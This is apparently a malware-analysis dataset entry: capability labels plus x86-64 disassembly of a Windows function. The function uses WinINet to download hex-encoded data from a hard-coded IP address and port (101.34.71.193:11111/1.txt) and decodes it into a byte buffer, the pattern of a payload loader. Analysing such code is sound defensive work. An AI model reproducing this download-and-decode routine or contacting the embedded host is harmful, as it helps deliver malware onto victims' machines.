Function at 0x140001f20
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x14003a030]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov r14, rdx
xor edi, edi
mov dword [rbp + 7], edi
mov dword [rbp + 0xf], edi
mov dword [rbp + 0x13], 4
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 1]
lea rcx, str.User_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
mov qword [rbp - 1], rax
test rax, rax
jne 0x140001fb7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpen_failed._Error:
call fcn.140004aa0
mov rcx, rax
mov edx, ebx
call fcn.1400024e0
mov rcx, rax
call fcn.140004d80
xor eax, eax
jmp 0x1400022cf
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__101.34.71.193:11111_1.txt
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp - 0x29], rax
test rax, rax
jne 0x140002019
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpenUrlA_failed._Error:
call fcn.140004aa0
mov rcx, rax
mov edx, ebx
call fcn.1400024e0
mov rcx, rax
call fcn.140004d80
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x1400022cf
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x13]
lea r8, [rbp + 7]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
xorps xmm0, xmm0
mov r8d, dword [rbp + 7]
lea eax, [r8 + 1]
mov esi, eax
movdqu xmmword [rbp + 0x17], xmm0
mov r13, rdi
mov qword [rbp + 0x27], rdi
mov rbx, rdi
test eax, eax
je 0x1400020bb
cmp rsi, 0x1000
jb 0x14000208a
lea rcx, [rax + 0x27]
cmp rcx, rsi
jbe 0x140002302
call fcn.140008688
test rax, rax
je 0x1400022fc
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002095
mov rcx, rsi
call fcn.140008688
mov rbx, rax
mov r12, rbx
mov qword [rbp + 0x17], rbx
lea r13, [rbx + rsi]
mov qword [rbp + 0x27], r13
mov r8, rsi
xor edx, edx
mov rcx, rbx
call fcn.14000abb0
mov qword [rbp + 0x1f], r13
mov r8d, dword [rbp + 7]
jmp 0x1400020bf
mov r12, qword [rbp + 0x17]
lea r9, [rbp + 0xb]
mov rdx, rbx
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400020ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetReadFile_failed._Error:
call fcn.140004aa0
mov rcx, rax
mov edx, ebx
call fcn.1400024e0
mov rcx, rax
call fcn.140004d80
jmp 0x14000227d
mov eax, dword [rbp + 0xb]
test eax, eax
je 0x14000227d
mov byte [rax + r12], 0
mov esi, dword [rbp + 0xb]
shr rsi, 1
mov r15, qword [r14 + 8]
mov rdx, qword [r14]
mov rcx, r15
sub rcx, rdx
cmp rsi, rcx
jae 0x14000212d
lea rax, [rdx + rsi]
jmp 0x14000215c
jbe 0x140002160
mov rax, qword [r14 + 0x10]
sub rax, rdx
cmp rsi, rax
jbe 0x140002148
mov rdx, rsi
mov rcx, r14
call fcn.140005b80
jmp 0x140002160
sub rsi, rcx
mov r8, rsi
xor edx, edx
mov rcx, r15
call fcn.14000abb0
lea rax, [r15 + rsi]
mov qword [r14 + 8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x11], rdi
mov qword [rbp - 9], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x140002176
mov rdx, rbx
lea rcx, [rbp - 0x21]
call fcn.140004e10
mov rbx, qword [r14]
mov r10, qword [rbp - 9]
mov r9, qword [rbp - 0x21]
mov r11, qword [rbp - 0x11]
test r11, r11
je 0x140002246
mov r8, rdi
cmp r10, 0x10
setae sil
nop
lea rax, [rbp - 0x21]
cmp r10, 0x10
cmovae rax, r9
movzx ecx, byte [r8 + rax]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x1400021cd
sub cl, 0x30
jmp 0x1400021e7
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x1400021d9
sub cl, 0x57
jmp 0x1400021e7
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x1400021e5
sub cl, 0x37
jmp 0x1400021e7
xor cl, cl
lea rax, [rbp - 0x21]
test sil, sil
cmovne rax, r9
movzx edx, byte [r8 + rax + 1]
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x140002204
sub dl, 0x30
jmp 0x14000221e
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x140002210
sub dl, 0x57
jmp 0x14000221e
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x14000221c
sub dl, 0x37
jmp 0x14000221e
xor dl, dl
shl cl, 4
add cl, dl
mov eax, edi
test edi, edi
jns 0x14000222c
lea eax, [rdi + 1]
sar eax, 1
cdqe
mov byte [rax + rbx], cl
add edi, 2
add r8, 2
movsxd rax, edi
cmp rax, r11
jb 0x1400021b0
cmp r10, 0x10
jb 0x14000227d
lea rdx, [r10 + 1]
mov rax, r9
cmp rdx, 0x1000
jb 0x140002275
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002308
mov rcx, r9
call fcn.140008680
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 1]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [rbp + 0xb]
shr rbx, 1
test r12, r12
je 0x1400022cc
sub r13, r12
mov rax, r12
cmp r13, 0x1000
jb 0x1400022c1
add r13, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400022fc
mov rdx, r13
mov rcx, r12
call fcn.140008680
mov rax, rbx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140008660
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140011368
int3
call fcn.1400012b0
nop
call fcn.140011368
nop
int3